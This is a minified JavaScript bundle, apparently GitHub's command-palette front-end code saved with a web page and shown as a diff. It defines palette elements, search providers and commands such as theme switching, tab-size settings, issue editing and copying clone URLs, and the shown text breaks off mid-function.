Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var vt=Object.defineProperty;var n=(S,C)=>vt(S,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["command-palette"],{86761:(S,C,a)=>{var i=a(90420),b=Object.defineProperty,v=Object.getOwnPropertyDescriptor,g=n((t,e,s,o)=>{for(var r=o>1?void 0:o?v(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&b(e,s,r),r},"__decorateClass");const m="*";let p=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=""}active(t,e){return this.scopeTypeMatch(t.type)&&this.modeMatch(e)}scopeTypeMatch(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t):!0}modeMatch(t){return this.char===m||this.char===t}character(){return this.char===m?"":this.char}},"CommandPaletteModeElement");g([i.Lj],p.prototype,"char",2),g([i.Lj],p.prototype,"placeholder",2),g([i.Lj],p.prototype,"scopeTypes",2),p=g([i.Ih],p);var d=Object.defineProperty,h=Object.getOwnPropertyDescriptor,u=n((t,e,s,o)=>{for(var r=o>1?void 0:o?h(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&d(e,s,r),r},"command_palette_tip_element_decorateClass");const f="*",E="";let _=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=E,this.mode=f,this.matchMode=E,this.value=f,this.onEmpty=!1,this.onError=!1}connectedCallback(){this.hidden=!0}available(t,e=!1,s=!1){return this.valueMatch(t.text)&&this.scopeTypeMatch(t.scope.type)&&this.modeMatch(t.mode)&&this.showOnEmpty(e)&&this.showOnError(s)}toggle(t,e=!1,s=!1){this.hidden=!this.available(t,e,s)}valueMatch(t){return this.value===f||this.value===t}scopeTypeMatch(t){return this.scopeTypes!==E&&(this.scopeTypes===f||JSON.parse(this.scopeTypes).includes(t))}modeMatch(t){if(this.matchMode===E)return this.mode===f||this.mode===t;{const e=new RegExp(this.matchMode);return t.match(e)!==null}}showOnEmpty(t){return this.onEmpty?t:!0}showOnError(t){return this.onError?t:!0}},"CommandPaletteTipElement");u([i.Lj],_.prototype,"scopeTypes",2),u([i.Lj],_.prototype,"mode",2),u([i.Lj],_.prototype,"matchMode",2),u([i.Lj],_.prototype,"value",2),u([i.Lj],_.prototype,"onEmpty",2),u([i.Lj],_.prototype,"onError",2),_=u([i.Ih],_);var G=a(47779),$e=Object.defineProperty,Fe=Object.getOwnPropertyDescriptor,R=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Fe(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&$e(e,s,r),r},"command_palette_token_element_decorateClass");let k=n(class extends HTMLElement{constructor(){super(...arguments);this.type="",this.id="",this.text="",this.value=""}},"CommandPaletteTokenElement");R([i.Lj],k.prototype,"type",2),R([i.Lj],k.prototype,"id",2),R([i.Lj],k.prototype,"text",2),R([i.Lj],k.prototype,"value",2),k=R([i.Ih],k);var gt=a(39200),He=a(23207),bt=a(2846),Y=a(80829),ze=a(4220),z=a(78584);class U extends z.j{fetch(e,s){return this.fetchSrc(e)}enabledFor(e){return this.modeMatch(e)&&this.scopeMatch(e)}clearCache(){}scopeMatch(e){return this.scopeTypes.length===0||this.scopeTypes.includes(e.scope.type)}modeMatch(e){return this.modes.includes(e.mode)||this.hasWildCard}async fetchSrc(e,s=""){var o;if(!this.src)throw new Error("No src defined");const r=new URL(this.src,window.location.origin),c=e.params();s&&c.set("mode",s),r.search=c.toString();const l=await fetch(r.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(l.ok){const L=await l.json();return{results:((o=L.results)==null?void 0:o.map(w=>ze.g.build(w)))||[],octicons:L.octicons}}else return{error:!0,results:[]}}}n(U,"RemoteProvider");class H extends U{constructor(){super(...arguments);this.maxItems=1e3,this.scopedItems={},this.cachedOcticons={}}clearCache(){super.clearCache(),this.scopedItems={},this.cachedOcticons={}}get debounce(){return 0}async prefetch(e){if(!this.scopeMatch(e)||this.scopedItems[e.scope.id])return;const s=new Y.A("",e.mode,{subjectId:e.subjectId,subjectType:e.subjectType,returnTo:e.returnTo,scope:e.scope}),o=await this.fetchSrc(s,e.mode);this.octicons=o.octicons||[];const r=o.results||[];this.scopedItems[e.scope.id]=r,this.cachedOcticons[e.scope.id]=this.octicons}async fetch(e,s){const o=this.scopedItems[e.scope.id]||[],r=this.cachedOcticons[e.scope.id]||[];return{results:this.fuzzyFilter(o,e).slice(0,this.maxItems),octicons:r}}}n(H,"PrefetchedProvider");class ee extends H{enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}}n(ee,"CommandsProvider");var Ue=a(81072),V=a(98810);class te extends H{async fetchSrc(e){if(!this.src)throw new Error("No src provided");const s=new URL(this.src,window.location.origin);s.search=e.params().toString();const r=await(await fetch(s.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json();if(!r.results)return;const c=r.results[0];if(c.base_file_path){const l=c.base_file_path,L=c.paths;r.results=L.map(w=>V.s.from({title:w,path:`${l}/${w}`,icon:"file-color-fg-muted",group:"files"}))}else c.action&&c.action.type==="access_policy"?r.results=[new Ue.i(c)]:r.results=[];return r}async fetch(e,s=!1){const o=e.text.match(/(.+):(\d*)\s*$/);return o?this.fetchWithLineNumbers(e,o):super.fetch(e,s)}async fetchWithLineNumbers(e,s){const o=s[1],r=s[2],c=new Y.A(o,e.mode,{scope:e.scope}),l=[],L=(await super.fetch(c,!1)).results;for(const w of L)w instanceof V.s&&l.push(this.convert(w,r));return{results:l}}convert(e,s){return s===""||!(e instanceof V.s)||(e.title=`${e.title}:${s}`,e.action.path=`${e.action.path}#L${s}`),e}}n(te,"FilesProvider");class se extends z.j{enabledFor(e){return!0}clearCache(){}get hasCommands(){return!1}get debounce(){return 0}async fetch(e,s=!1){return e.mode!=="?"&&!s?{results:[]}:{results:Array.from(this.element.querySelectorAll("command-palette-help")).filter(c=>c.show(e)).map((c,l)=>c.toItem(l))}}}n(se,"HelpProvider");var Ve=a(31411);class oe extends z.j{enabledFor(e){return!(e.isBlank()||e.mode==="?"||e.mode===">")}clearCache(){}get hasCommands(){return!1}async fetch(e,s=!1){return{results:[Ve.K.create(e)]}}}n(oe,"SearchLinksProvider");class q{static create(e){const s=this.providers[e.type];if(!s)throw new Error(`Unknown provider type: ${e.type}`);return new s(e)}}n(q,"ServerDefinedProviderFactory"),q.providers={remote:U,prefetched:H,commands:ee,files:te,help:se,"search-links":oe};var qe=Object.defineProperty,We=Object.getOwnPropertyDescriptor,j=n((t,e,s,o)=>{for(var r=o>1?void 0:o?We(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&qe(e,s,r),r},"server_defined_provider_element_decorateClass");let T=n(class extends He.b{constructor(){super(...arguments);this._wildcard="*"}get debounce(){return parseInt(this.fetchDebounce,10)}get hasCommands(){return this.supportsCommands}get hasWildCard(){return this.modes.includes(this._wildcard)}get modes(){return this.supportedModes===""&&(this._modes=[""]),this._modes||(this._modes=JSON.parse(this.supportedModes)),this._modes}get scopeTypes(){return this.supportedScopeTypes===""?[]:(this._scopeTypes||(this._scopeTypes=JSON.parse(this.supportedScopeTypes)),this._scopeTypes)}connectedCallback(){this.provider=q.create(this)}},"ServerDefinedProviderElement");j([i.Lj],T.prototype,"type",2),j([i.Lj],T.prototype,"supportedModes",2),j([i.Lj],T.prototype,"fetchDebounce",2),j([i.Lj],T.prototype,"supportedScopeTypes",2),j([i.Lj],T.prototype,"src",2),j([i.Lj],T.prototype,"supportsCommands",2),T=j([i.Ih],T);var Ne=a(8665),Ze=Object.defineProperty,Ke=Object.getOwnPropertyDescriptor,B=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Ke(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&Ze(e,s,r),r},"command_palette_help_element_decorateClass");let D=n(class extends HTMLElement{connectedCallback(){this.hidden=!0}show(t){return this.isEnabledScopeType(t)}isEnabledScopeType(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t.scope.type):!0}toItem(t){const e={group:this.group,title:this.titleElement.innerHTML,index:t};return this.prefix&&(e.prefix=this.prefix),this.hintElement.textContent&&(e.persistentHint=this.hintElement.innerHTML),Ne.B.from(e)}},"CommandPaletteHelpElement");B([i.Lj],D.prototype,"group",2),B([i.Lj],D.prototype,"prefix",2),B([i.Lj],D.prototype,"scopeTypes",2),B([i.fA],D.prototype,"titleElement",2),B([i.fA],D.prototype,"hintElement",2),D=B([i.Ih],D);var Ct=a(68313),Et=a(96753),St=a(28760),_t=a(3991),Je=a(77417);class y{constructor(){this.iconType="octicon",this.group="commands",this.priority=0,this.dismissAfterRun=!0}static item(e={}){return new Je.U(new this,e)}run(e){new Error("Not implemented")}isApplicable(e){return!0}}n(y,"MainWindowCommand");class W extends y{constructor(){super(...arguments);this.group="global_commands"}}n(W,"MainWindowGlobalCommand");class ne extends y{constructor(){super(...arguments);this.title="Delete discussion\u2026",this.icon="trash-color-fg-muted"}get deleteButton(){return document.querySelector("button#dialog-show-delete-discussion")}get dialogElement(){return document.querySelector("#delete-discussion")}isApplicable(){return this.deleteButton!=null}run(){const e=this.deleteButton;if(e){e.click(),setTimeout(()=>{var s,o;(o=(s=this.dialogElement)==null?void 0:s.querySelector('button[type="submit"]'))==null||o.focus()},0);return}}}n(ne,"DeleteDiscussion");class re extends y{constructor(){super(...arguments);this.title="Edit discussion body",this.icon="pencil-color-fg-muted"}get editButton(){return document.querySelector(".js-discussions-comment-edit-button")}isApplicable(){return this.editButton!=null}run(){var e;(e=this.editButton)==null||e.click()}}n(re,"EditDiscussion");class ie extends y{constructor(){super(...arguments);this.title="Transfer discussion\u2026",this.icon="arrow-right-color-fg-muted"}fetchDetails(){return document.querySelector("details.js-transfer-discussion-details")}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s==null?void 0:s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(ie,"TransferDiscussion");const Qe=[ne,ie,re];var M=a(64992),ae=a(33241),ce=a(88513);class x extends y{constructor(){super(...arguments);this.title="2 spaces",this.iconType="none",this.tabSize="2",this.group=""}async run(e){this.updateTabSize(),this.saveSettings(e)}updateTabSize(){const e=document.querySelectorAll("[data-tab-size]");for(const s of e)s.setAttribute("data-tab-size",this.tabSize)}async saveSettings(e){const s=new FormData;s.set("tab_size_rendering_preference",this.tabSize);const o="Failed to save tab size preference";try{(await(0,ce.Q)("/settings/appearance/tab_size",{method:"PUT",body:s})).ok?e.displayFlash("success","Tab size rendering updated"):e.displayFlash("error",o)}catch{e.displayFlash("error",o)}}}n(x,"TabSizeTwo");class le extends x{constructor(){super(...arguments);this.title="3 spaces",this.tabSize="3"}}n(le,"TabSizeThree");class ue extends x{constructor(){super(...arguments);this.title="4 spaces",this.tabSize="4"}}n(ue,"TabSizeFour");class de extends x{constructor(){super(...arguments);this.title="6 spaces",this.tabSize="6"}}n(de,"TabSizeSix");class he extends x{constructor(){super(...arguments);this.title="8 spaces",this.tabSize="8"}}n(he,"TabSizeEight");class pe extends x{constructor(){super(...arguments);this.title="10 spaces",this.tabSize="10"}}n(pe,"TabSizeTen");class me extends x{constructor(){super(...arguments);this.title="12 spaces",this.tabSize="12"}}n(me,"TabSizeTwelve");class fe extends W{constructor(){super(...arguments);this.title="Change tab size rendering",this.icon="gear-color-fg-muted",this.priority=10,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"tab-sizes",this.pageItems),!0)}get pageItems(){return[x,le,ue,de,he,pe,me].map(e=>e.item())}select(e){this.run(e)}}n(fe,"SwitchTabSize");class ye extends y{constructor(){super(...arguments);this.title="Open in github.dev editor",this.icon="codespaces-color-fg-muted",this.priority=10}isApplicable(){return this.fetchLink()instanceof HTMLAnchorElement}fetchLink(){return document.querySelector(".js-github-dev-shortcut")}run(){var e;(e=this.fetchLink())==null||e.click()}}n(ye,"OpenInDotDev");class ve extends W{constructor(){super(...arguments);this.title="Switch theme",this.icon="paintbrush-color-fg-muted",this.priority=9,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"switch-theme-page-1",this.pageItems),!0)}get pageItems(){return[I,Ce,be,ge,Ee].map(e=>e.item())}select(e){this.run(e)}}n(ve,"SwitchTheme");class I extends y{constructor(){super(...arguments);this.title="Default dark",this.icon="moon-color-fg-muted",this.mode="dark",this.theme="dark",this.group=""}applyTheme(){this.loadStyles(this.theme),this.mode!=="auto"&&(0,M.on)(this.theme,this.mode),(0,M.h5)(this.mode)}async run(){this.applyTheme(),this.saveSettings(this.mode,this.lightTheme,this.darkTheme)}async saveSettings(e=this.mode,s,o){const r=new FormData;r.set("color_mode",e),s&&r.set("light_theme",s),o&&r.set("dark_theme",o);const l=await(await(0,ce.Q)("/settings/appearance/color_mode",{method:"PUT",body:r})).json();this.loadStyles(l.light_theme),this.loadStyles(l.dark_theme),(0,M.on)(l.light_theme,"light"),(0,M.on)(l.dark_theme,"dark"),(0,M.h5)(l.color_mode)}loadStyles(e){const s=document.querySelector(`link[data-color-theme='${e}']`);s&&!s.hasAttribute("href")&&s.hasAttribute("data-href")&&s.setAttribute("href",s.getAttribute("data-href"))}get darkTheme(){return this.mode==="dark"?this.theme:(0,M.yn)("dark")}get lightTheme(){return this.mode==="light"?this.theme:(0,M.yn)("light")}}n(I,"SwitchToDark");class ge extends I{constructor(){super(...arguments);this.title="Switch theme to dark high contrast",this.theme="dark_high_contrast"}}n(ge,"SwitchToDarkHighContrast");class be extends I{constructor(){super(...arguments);this.title="Dark dimmed",this.theme="dark_dimmed"}}n(be,"SwitchToDarkDimmed");class Ce extends I{constructor(){super(...arguments);this.title="Default light",this.icon="sun-color-fg-muted",this.mode="light",this.theme="light"}}n(Ce,"SwitchToLight");class Ee extends I{constructor(){super(...arguments);this.title="Sync with system settings",this.icon="sun-color-fg-muted",this.mode="auto"}get darkTheme(){}get lightTheme(){}}n(Ee,"SwitchToAuto");class Se extends y{constructor(){super();const e=this.isSubscribe();this.title=`${e?"Subscribe":"Unsubscribe"}`,this.icon=`${e?"bell":"bell-slash"}-color-fg-muted`}isApplicable(){var e;return this.fetchButton()instanceof HTMLButtonElement&&((e=this.fetchButton())==null?void 0:e.disabled)===!1}isSubscribe(){var e,s;return((s=(e=this.fetchButton())==null?void 0:e.textContent)==null?void 0:s.trim())==="Subscribe"}fetchButton(){return document.querySelector(".thread-subscribe-button")}run(){var e;(e=this.fetchButton())==null||e.click()}}n(Se,"UpdateSubscription");const Xe=[ye,fe,ve,Se];function _e(t){t.focus(),t.selectionStart=t.selectionEnd=t.value.length}n(_e,"moveCursorToEnd");class N extends y{constructor(){super(...arguments);this.title="Edit issue body",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.isIssue()}run(){const e=document.createElement("button");e.hidden=!0,e.classList.add("js-comment-edit-button");const s=document.querySelector("div.js-comment");s==null||s.appendChild(e),e.click(),e.remove(),setTimeout(()=>{var o;const r=(o=s==null?void 0:s.parentElement)==null?void 0:o.querySelector("textarea.js-comment-field");r&&_e(r)},0)}}n(N,"EditIssueBody");class Z extends y{constructor(){super(...arguments);this.title="Edit issue title",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isIssue()}fetchButton(){return document.querySelector(".js-title-edit-button")}run(){var e;(e=this.fetchButton())==null||e.click(),setTimeout(()=>{const s=document.querySelector("input#issue_title[autofocus]");s&&_e(s)},0)}}n(Z,"EditIssueTitle");class we extends y{constructor(){super(...arguments);this.title="Transfer issue\u2026",this.icon="arrow-right-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-transfer-issue")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(we,"TransferIssue");class Te extends y{constructor(){super();const e=this.isLock();this.title=`${e?"Lock":"Unlock"} conversation`,this.icon=`${e?"lock":"key"}-color-fg-muted`}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}isLock(){var e,s;return((s=(e=document.querySelector("summary.lock-toggle-link"))==null?void 0:e.textContent)==null?void 0:s.trim())==="Lock conversation"}fetchDetails(){return document.querySelector("details.js-lock-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=document.querySelector("#unlock-reason"))==null||s.focus()},0))}}n(Te,"LockIssue");class xe extends y{constructor(){super(...arguments);this.title="Delete issue\u2026",this.icon="trash-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-delete-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=e.querySelector('button[type="submit"]'))==null||s.focus()},0))}}n(xe,"DeleteIssue");class Pe extends y{constructor(){super(...arguments);this.title="Convert issue to discussion\u2026",this.icon="comment-discussion-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-convert-to-discussion")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(Pe,"ConvertToDiscussion");const Ge=[Z,N,Te,we,xe,Pe];var Ye=a(78078),P=a(76745);class K extends y{constructor(){super(...arguments);this.title="Open in new codespace",this.icon="codespaces-color-fg-muted",this.priority=11}isApplicable(){const e=this.fetchElements();return!!(e.codeModal&&e.codespacesForm&&e.newCodespacesButton&&e.codespacesTab)}run(){const{codeModal:e,codespacesTab:s,newCodespacesButton:o}=this.fetchElements();!(e&&s&&o)||(e.open=!0,s.click(),o instanceof HTMLButtonElement&&o.click())}fetchElements(){const e=document.querySelector(".js-create-codespaces-form-command"),s=(e==null?void 0:e.closest("details"))||null,o=(s==null?void 0:s.querySelector('[data-tab="cloud"]'))||null,r=(e==null?void 0:e.querySelector('summary[role="button"], button[type="submit"]'))||null;return{codespacesForm:e,codeModal:s,codespacesTab:o,newCodespacesButton:r}}}n(K,"OpenCodespace");var $=a(76168);class Ae extends N{constructor(){super(...arguments);this.title="Edit pull request body"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.isPullRequest()}}n(Ae,"EditPullRequestBody");class Le extends Z{constructor(){super(...arguments);this.title="Edit pull request title"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isPullRequest()}}n(Le,"EditPullRequestTitle");class je extends y{constructor(){super(...arguments);this.title="Update current branch",this.icon="sync-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-update-branch-form button")}run(){const e=this.fetchButton();e&&(e.scrollIntoView({behavior:"smooth",block:"center"}),e.click())}}n(je,"UpdateBranch");class De extends y{constructor(){super(...arguments);this.title="Convert to draft",this.icon="git-pull-request-draft-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-convert-to-draft")}run(){var e;const s=(e=this.fetchButton())==null?void 0:e.closest("details");s&&(s.open=!0,setTimeout(()=>{var o;(o=s.querySelector(".js-convert-to-draft"))==null||o.focus()},0))}}n(De,"ConvertToDraft");class Me extends y{constructor(){super(...arguments);this.title="Copy current branch name",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-copy-branch")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Branch name copied to clipboard!")}catch{e.displayFlash("error","Unable to copy branch name to clipboard!")}}}}n(Me,"CopyBranchName");const et=[Me,Le,Ae,je,De,K];class ke extends y{constructor(){super(...arguments);this.title="Copy file permalink",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchPermalinkContainer()instanceof HTMLAnchorElement}fetchPermalinkContainer(){return document.querySelector(".js-permalink-shortcut")}async run(e){const s=this.fetchPermalinkContainer();if(s){const o=`${s.href}${window.location.hash}`;try{await(0,$.z)(o),e.displayFlash("success","Copied permalink!")}catch{e.displayFlash("error","Failed to copy permalink!")}}}}n(ke,"CopyPermalink");class Be extends y{constructor(){super(...arguments);this.title="Clone repository: Copy HTTPS",this.icon="copy-color-fg-muted",this.priority=4}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-http")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Be,"CloneCopyHttps");class Ie extends y{constructor(){super(...arguments);this.title="Clone repository: Copy SSH",this.icon="copy-color-fg-muted",this.priority=3}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-ssh")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Ie,"CloneCopySsh");class Oe extends y{constructor(){super(...arguments);this.title="Clone repository: Copy GitHub CLI",this.icon="copy-color-fg-muted",this.priority=2}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-gh-cli")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Oe,"CloneCopyCli");const tt=[Be,Ie,Oe,ke,K];class J extends Ye.B{constructor(){super(...arguments);this.itemsByType={},this.items=[],this.needsFetch=!0}enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}get hasCommands(){return!0}async fetch(e){return this.items=[...Ge.map(o=>o.item()),...et.map(o=>o.item()),...tt.map(o=>o.item()),...Qe.map(o=>o.item()),...Xe.map(o=>o.item())].filter(o=>o.isApplicable(e)),{results:this.fuzzyFilter(this.items,e)}}get debounce(){return 0}clearCache(){}}n(J,"MainWindowCommandsProvider"),window.commandPalette&&window.commandPalette.registerProvider("main-window-commands-provider",new J),window.addEventListener("command-palette-ready",()=>{var t;(t=window.commandPalette)==null||t.registerProvider("main-window-commands-provider",new J)});var O=a(64465),st=a(49815),ot=Object.defineProperty,nt=Object.getOwnPropertyDescriptor,F=n((t,e,s,o)=>{for(var r=o>1?void 0:o?nt(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&ot(e,s,r),r},"command_palette_input_element_decorateClass");let A=n(class extends HTMLElement{constructor(){super(...arguments);this.setupComplete=!1,this.connected=!1}static get observedAttributes(){return["input-value","typeahead","scope"]}setup(){this.classList.add("d-flex","flex-items-center","flex-nowrap","py-1","pl-3","pr-2","border-bottom"),this.input=this.querySelector("input.js-input"),this.overlayInput=this.querySelector("input.js-overlay-input"),this.scopeElement=this.querySelector("command-palette-scope"),this.searchIcon=this.querySelector(".js-search-icon"),this.spinner=this.querySelector(".js-spinner"),this.defaultScope=this.scope,this.hasAttribute("autofocus")&&this.input.focus(),this.inputValue.length!==0&&this._dispatchEvent("command-palette-input"),this.setupComplete=!0}connectedCallback(){this.setupComplete||this.setup(),this.inputValue=this.getAttribute("input-value")||"",this.typeahead=this.getAttribute("typeahead")||"",this.placeholder=this.getAttribute("placeholder")||"",this.connected=!0}attributeChangedCallback(t,e,s){!this.input||(t==="typeahead"?this.typeahead=s:t==="input-value"&&(this.inputValue=s,this._dispatchEvent("command-palette-input")))}focus(){this.input.focus()}setRemovedTokenAndSelect(t){t&&(this.inputValue=t),this.focus(),this.input.select()}get scope(){return this.scopeElement.scope}set scope(t){this.scopeElement.scope=t,this.clearButton.hidden=!this.hasSomethingToClear()}hasScope(){return this.scopeElement.hasScope()}clearScope(){return this.scopeElement.clearScope()}removeToken(){return this.scopeElement.removeToken()}get placeholder(){return this.input.getAttribute("placeholder")||""}set placeholder(t){this.input.setAttribute("placeholder",t)}get typeaheadPlaceholderText(){return this.typeaheadPlaceholder.textContent||""}set typeaheadPlaceholderText(t){this.typeaheadPlaceholder.textContent=t}get inputValue(){var t;return((t=this.input)==null?void 0:t.value)||""}set inputValue(t){this.input.value=t,this.typeahead=t,this.resetPlaceholder(),this.onInput()}get overlay(){return this.overlayInput.value}set overlay(t){this.overlayInput.value=t}get typeahead(){return this.typeaheadValue}set typeahead(t){if(this.typeaheadValue=this.overlay+t,this.mirror.textContent=this.inputValue,t==="")this.typeaheadText.textContent="";else if(this.placeholder="",this.typeaheadPlaceholderText="",this.valueStartsWithTypeahead){const e=this.inputValue.length-(this.overlay?1:0);this.typeaheadText.textContent=t.substring(e)}else this.typeaheadText.textContent=` \u2013 ${t}`}showModePlaceholder(t=""){this.typeaheadPlaceholderText=t}get valueStartsWithTypeahead(){return this.typeaheadValue.toLowerCase().startsWith(this.inputValue.toLowerCase())}get isCursorAtEnd(){return this.inputValue.length===this.input.selectionStart}set loading(t){this.spinner.hidden=!t,this.searchIcon.hidden=t}resetPlaceholder(){this.inputValue.replace(this.overlay,"")&&this.overlay&&(this.typeaheadPlaceholderText=""),this.placeholder=this.getAttribute("placeholder")||""}onInput(){this.resetPlaceholder(),!!this.connected&&(this.clearButton.hidden=!this.hasSomethingToClear(),this._dispatchEvent("command-palette-input"))}onClear(t){t instanceof KeyboardEvent&&t.key!=="Enter"||(this.inputValue="",this.input.focus(),this._dispatchEvent("command-palette-cleared"))}onKeydown(t){if(this.isSelectKeystroke(t.key)&&(this._dispatchEvent("command-palette-select"),t.stopImmediatePropagation(),t.preventDefault()),this.hasSomethingToClear()&&(0,O.o)(t)&&t.key==="Backspace"){this.onClear();return}if(this.input.selectionStart===0&&this.input.selectionEnd===0&&t.key==="Backspace"){this._dispatchEvent("command-palette-descope"),t.stopImmediatePropagation(),t.preventDefault();return}}hasSomethingToClear(){return this.scopeElement.hasScope()||this.inputValue.length>0}isSelectKeystroke(t){return(0,st.c)("ACCESSIBLE_COMMAND_PALETTE")?!1:t==="Tab"||t==="ArrowRight"&&this.isCursorAtEnd}textSelected(){return this.input.selectionStart!==this.input.selectionEnd}_dispatchEvent(t){const e=new CustomEvent(t,{cancelable:!0,detail:{typeahead:this.typeahead,value:this.inputValue}});return this.dispatchEvent(e)}},"CommandPaletteInputElement");A.tagName="command-palette-input",F([i.fA],A.prototype,"typeaheadPlaceholder",2),F([i.fA],A.prototype,"typeaheadText",2),F([i.fA],A.prototype,"mirror",2),F([i.fA],A.prototype,"clearButton",2),A=F([i.Ih],A);var rt=a(11793),it=a(6741),at=a(35889),Re=a(64463),ct=a(45922);window.customElements.get(O.Z.tagName)||window.customElements.define(O.Z.tagName,O.Z);function lt(){document.addEventListener("keydown",ut),(0,Re.N7)(".js-command-palette-dialog",t=>{if(!t)return;const e=window.performance.now(),s=Q();!s||(t.addEventListener("toggle",()=>{t.open?s.activate():s.deactivate()}),s.addEventListener("command-palette-activated",o=>{o instanceof CustomEvent&&(o.detail.previouslyActivated||(0,ct.b)({distributionKey:"COMMAND_PALETTE_FIRST_OPEN",distributionValue:window.performance.now()-e}))}))}),(0,Re.N7)(".js-socket-channel.js-updatable-content",{subscribe:t=>(0,it.RB)(t,"socket:message",()=>{const e=Q();!e||e.clearCommands(!1)})})}n(lt,"observeCommandPalette");function Q(){return document.querySelector(O.Z.tagName)}n(Q,"findCommandPalette");function ut(t){if(!t.code)return;const e=Q();if(!e)return;const s=mt(),o=X(e.platformActivationHotkey,t),r=X(e.platformSecondaryActivationHotkey,t),c=X(e.platformCommandModeHotkey,t),l=!dt(t)&&!s&&(o||c),L=!s&&(r||c),w=e.hasAttribute("data-memex-hotkey-enabled")&&s&&(o||r||c);(l||L||w)&&(ft(c),t.preventDefault(),t.stopPropagation())}n(ut,"handleKeyDown");function X(t,e){let s=(0,rt.EL)(e);return s=s.replace("\u02DA","k"),t.split(",").some(o=>s===o)}n(X,"hotkeyMatchesEvent");function dt(t){return 